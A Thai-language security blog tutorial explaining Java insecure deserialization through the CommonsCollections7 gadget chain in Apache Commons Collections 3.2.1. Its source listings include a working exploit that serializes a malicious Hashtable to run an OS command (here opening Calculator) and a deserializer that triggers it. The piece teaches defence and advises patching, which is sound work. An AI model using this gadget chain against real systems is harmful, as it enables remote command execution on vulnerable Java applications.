บทนำ (Overview)
หลังจากที่ได้รู้จักกับ Insecure Deserialization เบื้องต้นในภาษา Java จากบทความก่อนหน้า (http://blog.itselectlab.com/?p=12179) บทความนี้ผู้เขียนจะยกตัวอย่างการโจมตีช่องโหว่ที่เกิดขึ้นกับ library ตัวหนึ่งที่เป็นที่นิยมนำมาใช้งานในการพัฒนา Java Application ซึ่งก็คือ Apache Common Collection 3.2.1 (https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.2.1-bin.zip)
บทความโดย
Mr.Juttikhun Khamchaiyaphum
Cyber Security Researcher
Exploiting Apache Common Collection 3.2.1 (JRE 1.7.0.15)
Apache Common Collection เป็น library ที่มี data structure พิเศษที่ช่วยสนับสนุนการพัฒนา Java Application ทำให้นักพัฒนาไม่จำเป็นต้องสร้าง data structure บางตัวขึ้นมาใหม่ วันนี้เราจะพิจารณาบาง class ของ library นี้ซึ่งมันจะนำไปสู่ช่องโหว่ที่สำคัญในช่วงปี 2015
- ConstantTransformer เป็น Transformer ที่จะเก็บอ๊อปเจ๊คไว้ให้เรา เราสามารถเรียกอ๊อปเจ๊คคืนมาได้ โดยการเรียกเมธอด getConstant()
ตัวอย่างการใช้งาน ConstantTransformer
เมื่อเรียกเมธอด getConstant() สิ่งที่ได้ออกมา คือ อ๊อปเจ๊คที่เราได้สร้างเอาไว้ตั้งแต่ตอนเรียก constructor
- InvokerTransformer เป็น Transformer ที่สามารถ invoke method ของ class ใด ๆ ที่มีอยู่ได้ InvokerTransformer constructor รับ parameter 3 ตัว คือ method_name, param_types, และ argument
จากตัวอย่างด้านบนจะเห็นว่ามีการเรียก constructor ของ InvokerTransformer โดยส่ง parameter 3 ตัวคือ method_name = “append”, pamram_types = String.class และ argument = “_appendedText” เมื่อเรียก transform.transform() ในบรรทัดต่อมา (บรรทัด 11) instance ของ class InvokerTransformer ที่ถูกสร้างไว้จะเรียก method “append” ของคลาส StringBuffer โดยมี argument คือ “_appendedText” โดยกระทำกับ “originalText” ทำให้ผลลัพธ์คือ “originalText” ที่ถูก append ด้วย “_appendedText”
- ChainedTransformer ก็เป็น Transformer ตัวหนึ่งคล้าย ๆ กับที่ผ่านมา แต่มีความพิเศษที่ ChainedTransformer เป็น คลาสที่ต้องการ instance ของ class Transformer มากกว่า 1 ตัวเพื่อนำมาเชื่อมต่อกันเป็น chain โดย chain ที่ว่าคือการนำผลลัพธ์ของ Transformer แรกไปเป็น input ของ Transformer ตัวถัดไป ตัวอย่างการใช้งาน ChainedTransfomer เช่น
จากรูปจะเห็นได้ว่าเราสร้าง instant ของคลาส Transformer ขึ้นมา 2 ตัว ตัวแรกชื่อ reverseString เป็น Transformer ที่ Override เมธอด transform(Object) โดยรีเทิร์น String อ๊อปเจ๊คที่ถูก reverse order อีกตัวชื่อ addString เป็น Trasnsformer ที่ Override เมธอด transform(Object) เช่นกัน โดยการ concatenate String “|_added_by_another_transformer_in_the_chain” ต่อท้าย String ที่รับมา จากนั้นนำ Transformer ทั้งสองตัวมาทำเป็น Chain ในบรรทัดที่ 25 และ 26 เมื่อเราเรียกเมธอด transform ของ อ๊อปเจ๊ค chain สิ่งที่ได้คือ original จะถูกนำไปเข้าเมธอด transform(Object) ของ Transformer ตัวแรกก่อนซึ่งก็คือ reverseString ทำให้ได้ผลลัพธ์เป็น String ที่ถูก reverse order “gnirts_lanigiro_eht_si_sihT” จากนั้นนำผลลัพธ์ที่ได้ไปเข้าเมธอด transform(Object) ของ Transformer ตัวที่สองซึ่งก็คือ addString ทำให้ได้ผลลัพธ์สุดท้ายเป็น “gnirts_lanigiro_eht_si_sihT|_added_by_another_transformer_in_the_chain”
ตัวอย่างต่อไปนี้เป็นการประยุกต์ใช้ ChainedTransformer, ConstantTransformer, และ InvokerTransformer เข้าด้วยกันเพื่อทำให้เกิดการรัน OS command โดยในตัวอย่างเป็นการสั่งให้เปิดเครื่องคิดเลขบน MacOS
มาถึงจุดนี้คงเห็นแล้วว่าถ้าเราสามารถ serialize อ๊อปเจ๊ค “chain” นี้แล้วส่งไปให้ application ที่มี commons-collections-3.2.1.jar อยู่ใน class path ทำการ deserialize ก็มีโอกาสที่เราจะสามารถรันคำสั่งบนเครื่องปลายทางได้ แต่ปัญหาคือเมื่อเราส่ง อ๊อปเจ๊คนี้ไปได้แล้วใครล่ะที่จะเรียกเมธอด transform(Object) ให้เรา นี่เป็นสาเหตุที่ทำให้ต้องมีการค้นหาสิ่งที่เรียกว่า gadgets หรือ gadget chain
Gadget คือคลาสที่จะช่วยให้เราบรรลุจุดประสงค์ที่เราต้องการ โดยที่คลาสนั้นอาจมีเมธอดที่เมื่อมันถูกเรียกแล้วมันจะสามารถนำไปสู่ gadget ตัวอื่น ๆ จนในที่สุดไปเรียกเมธอดสุดท้ายซึ่งก็คือ ChainedTransformer.transform(Object) ในขั้นตอนนี้เราอาจควานหา gadget เองก็ได้ แต่มันเป็นเรื่องที่ไม่ง่ายนัก เนื่องจากการหา gadget เราต้องเข้าใจการทำงานของคลาสต่าง ๆ ใน library ที่เรากำลังศึกษารวมถึงคลาสที่เป็นไปได้ใน SDK ด้วยว่ามันมีเมธอดอะไรที่เราสามารถเรียกได้ มันสามารถถูก serialize ได้ไหม ซึ่งจำนวนคลาสที่เราต้องศึกษานั้นมีเยอะเหลือเกินอาจต้องใช้เวลามาก ตอนนี้เรายังไม่พูดถึงการหา gadget chain แต่ถ้าต้องการศึกษาก็มีเครื่องมือที่สามารถช่วยในการวิเคราะห์ library ได้ตัวหนึ่งชื่อ gadgetinspector (https://github.com/JackOfMostTrades/gadgetinspector) ซึ่งเป็น tool ที่ถูกบรรยายใน Black Hat USA 2018.
CommonsCollections7 Gadget Chain
วันนี้เราจะพูดถึง gadget chain ที่ถูกเขียนไว้ใน ysoserial (https://github.com/frohoff/ysoserial/) ที่ชื่อว่า CommonsCollection7 หลักการของการทำงานคือการใช้คลาส LazyMap ของ library Apache Commons Collections 3.2.1 โดยที่คลาส LazyMap ได้ implement คลาส Map และ override เมธอดที่ชื่อ get(Object key) ถ้าใน อ๊อปเจ๊คของคลาส LazyMap ยังไม่มีคีย์ที่ระบุ เมธอด get(Object key) จะสร้าง entry ที่มี key ที่ต้องการให้ โดย entry ที่จะสร้างนี้จะมีคีย์ (key) เป็นค่าที่เรียกมา (เป็น key ที่ pass มาใน get(key)) และมีค่า (value) เป็นผลของการเรียก factory.transform(Object key) โดยใส่คีย์ไปในเมธอด transform(Object key) และเมื่อมีการเรียก get(SOMETHING) มันก็จะทำให้เกิดการรันคำสั่งที่ใน ChainedTransformer ที่เราได้เขียนเอาไว้ก่อนหน้านี้
จากรูป เมื่อเราสร้าง ChainedTransformer เรียบร้อย ต่อมาคือการสร้างอ๊อปเจ๊คของคลาส Map 2 ตัว ซึ่งทั้งสองตัวนี้เป็น instance ของคลาส Map ที่ decorate ด้วยคลาส LazyMap และคลาส ChainedTransformer (หมายความว่า เมื่อมีการเรียกเมธอด get() ถ้าหาคีย์ไม่เจอ LazyMap จะสร้าง entry ขึ้นมาใหม่โดยใช้ factory ของคลาส ChainedTransformer) จากนั้นสร้างอ๊อปเจ๊คของคลาส Hashtable ขึ้นมาแล้ว put() lazyMap1 และ lazyMap2 เข้าไปในอ๊อปเจ๊คของคลาส Hashtable การ put ลงไป 2 อ๊อปเจ๊คเพื่อให้ตอน deserialize มีการตรวจสอบความถูกต้องโดยการเรียก AbstractMap.equals() ซึ่งจะนำไปสู่การเรียก LazyMap.get() ในที่สุด เมื่อเราได้ทุกอย่างพร้อมแล้วก็ทำการ serialize ลงในไฟล์ “/tmp/exploit.bin”
Debugging Things
คลาส Deserialize.java ถูกสร้างขึ้นโดยที่ไม่ได้ import library ตัวไหนเลยนอกจาก SDK และมีเพียง commons-collection-3.2.1.jar ที่ถูกเพิ่มเข้าไปใน class path โดยไม่มีการ import เข้ามาในไฟล์เช่นกัน ในฟังก์ชัน main() เราทำการ deserialize ข้อมูล byte stream ที่อยู่ใน /tmp/exploit.bin ที่ได้จากการทำ exploit ก่อนหน้านี้
ขั้นตอนแรกคือการเรียก readObject() เพื่อทำการ desearialize ข้อมูลที่อยู่ใน /tmp/exploit.bin
หลังจากนั้นเนื่องจากคลาสที่ถูก serialize ชั้นนอกสุดคืออ๊อปเจ๊คของคลาส Hashtable ทำให้มีการเรียก readObject() ของคลาส Hashtable
จากรูปจะเห็นว่าเมธอด readObject() ของคลาส Hashtable ถูก override และมีการเรียกเมธอด reconstitutionPut() ของคลาส Hashtable
จากรูปในเมธอด reconstitutionPut() กำลังเพิ่ม entry ใน Hashtable รอบที่สอง ถ้าเป็นรอบแรกจะไม่เข้า for…loop เนื่องจากไม่มีการตรวจสอบว่า key ซ้ำกันหรือไม่โดยการเรียก e.key.equals(key) ซึ่งการเปรียบเทียบในตอนนี้คือการเปรียบเทียบ LazyMap 2 ตัว (เนื่องจาก LazyMap ถูก put เป็น key ของ Hashtable ตอนทำ exploit)
จากรูปจะเห็นว่าเป็นการเปรียบเทียบระหว่าง LazyMap 2 ตัว คืออ๊อปเจ็ค m ที่มีคีย์เป็น “zZ” ส่วนอ๊อปเจ๊ค e คีย์เป็น “yy” โดยบรรทัดที่ 460 คือการเรียก e.value.equals(m.get(key)) ซึ่ง key ที่กำลังอ้างถึงคือค่าคีย์ของอ๊อปเจ็ค e (จากบรรทัด 454) เท่ากับว่าตอนนี้เป็นการเรียก !value.equals(m.get(“yy”))
จากรูปจะเห็นว่าตัวแปร map ซึ่งมีคีย์เป็น “zZ” นั้นไม่มี entry ที่มีคีย์เป็น “yy” และเนื่องจาก map เป็นอ๊อปเจ็คของคลาส LazyMap มันจึงจะพยายามสร้าง entry ใหม่ที่มีคีย์เป็น “yy” ขึ้นมาโดยทำการเรียก factory.transform(key) และเนื่องจาก factory ที่ได้เราได้ decorate เอาไว้เป็น malicious object ของคลาส ChainedTransformer จนทำให้เกิดการเรียกคำสั่งที่เราได้เขียนเอาไว้คือการเปิดเครื่องคิดเลข
Summary
การโจมตีด้วยช่องโหว่ Insecure Deserialization ในภาษา Java นั้นจะเห็นว่าฝั่งของ target ไม่จำเป็นต้องทำการ import library ที่มีช่องโหว่เลยเพียงแต่ต้องมีการเพิ่ม library ที่มีช่องโหว่เอาไว้ใน class path เท่านั้น แค่นี้ผู้โจมตีก็สามารถโจมตีด้วยช่องโหว่ดังกล่าวได้ การหมั่นอัพเดท library จึงเป็นสิ่งที่สำคัญในการพัฒนาแอปพลิเคชั่นไม่เฉพาะภาษา Java แต่กับทุก ๆ ภาษา การอัพเดท software, library, และการติดตั้ง patch เป็นประจำเป็นองค์ประกอบหนึ่งจะทำให้แอปพลิเคชันหรือะบบปลอดภัยมากขึ้น
Source code
SampleConstantTransformer.java
public class SampleConstantTransformer { public static void main(String[]args){ System.out.println("--- Result ---"); final ConstantTransformer aString = new ConstantTransformer("text"); System.out.println("[!] Class:" + aString.getConstant().getClass().toString()); System.out.println("[!] Object:" + aString.getConstant()); final ConstantTransformer anObject = new ConstantTransformer(Runtime.class); System.out.println("[!] Class:" + anObject.getConstant().getClass().toString()); System.out.println("[!] Object:" + anObject.getConstant()); } }
SampleInvokerTransformer.java
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; public class SampleInvokerTransformer { public static void main (String[] args) { Transformer transform = new InvokerTransformer( "append" , new Class[]{String.class}, new Object[]{ "_appendedText" }); Object transformedObj = transform.transform( new StringBuffer("originalText")) ; System.out.println(transformedObj); } }
SampleTransformerChain.java
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; public class SampleTransformerChain { public static void main(String[]args){ Transformer reverseString = new Transformer( ) { @Override public Object transform( Object object ) { String name = (String) object; String reverse = new StringBuilder(name).reverse().toString(); return reverse; } }; Transformer addString = new Transformer( ) { @Override public Object transform(Object input) { String addStr = ((String) input) + "|_added_by_another_transformer_in_the_chain"; return addStr; } }; Transformer[] chainElements = new Transformer[] { reverseString , addString }; Transformer chain = new ChainedTransformer( chainElements ); String original = "This_is_the_original_string"; String result = (String) chain.transform(original); System.out.println( "Original: " + original ); System.out.println( "Result: " + result ); } }
Exploit_apacheCommonsCollection321_yso7.java
import java.io.File; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; public class Exploit_apacheCommonsCollection321_yso7 { /* Gadget chain: ObjectInputStream.readObject() Hashtable.readObject() Hashtable.reconstitutionPut() AbstractMap.equals() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections <= 3.2.1 */ public static void main( String [] args) throws Exception { String execArgs = "open -a Calculator" ; Transformer objRuntimeClass = new ConstantTransformer(Runtime.class); Transformer objMethodGetRuntime = new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class }, new Object[]{ "getRuntime" , new Class[0]}); Transformer objMethodInvoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class }, new Object[]{ null , new Object[0]}); Transformer objMethodExec = new InvokerTransformer("exec", new Class[]{ String.class }, new Object[]{ execArgs }); Transformer[] tranformers = {objRuntimeClass, objMethodGetRuntime, objMethodInvoke, objMethodExec}; Transformer chain = new ChainedTransformer( tranformers ); Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, chain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, chain); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 3); hashtable.put(lazyMap2, 4); lazyMap2.remove("yy"); String filename = "/tmp/exploit.bin"; File f = new File(filename); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(hashtable); out.flush(); out.close(); } }
Deserialize.java
import java.io.FileInputStream; import java.io.ObjectInputStream; public class Deserialize { public static void main(String[] args) throws Exception { String filename = "/tmp/exploit.bin"; FileInputStream file = new FileInputStream(filename); ObjectInputStream de_out = new ObjectInputStream(file); de_out.readObject(); de_out.close(); file.close(); } }
อ้างอิง
https://github.com/JackOfMostTrades/gadgetinspector
https://gist.github.com/RickGray/8b68acc31cef7e0c4ba3
https://www.owasp.org/images/a/a3/OWASP-London-2017-May-18-ApostolosGiannakidis-JavaDeserializationTalk.pdf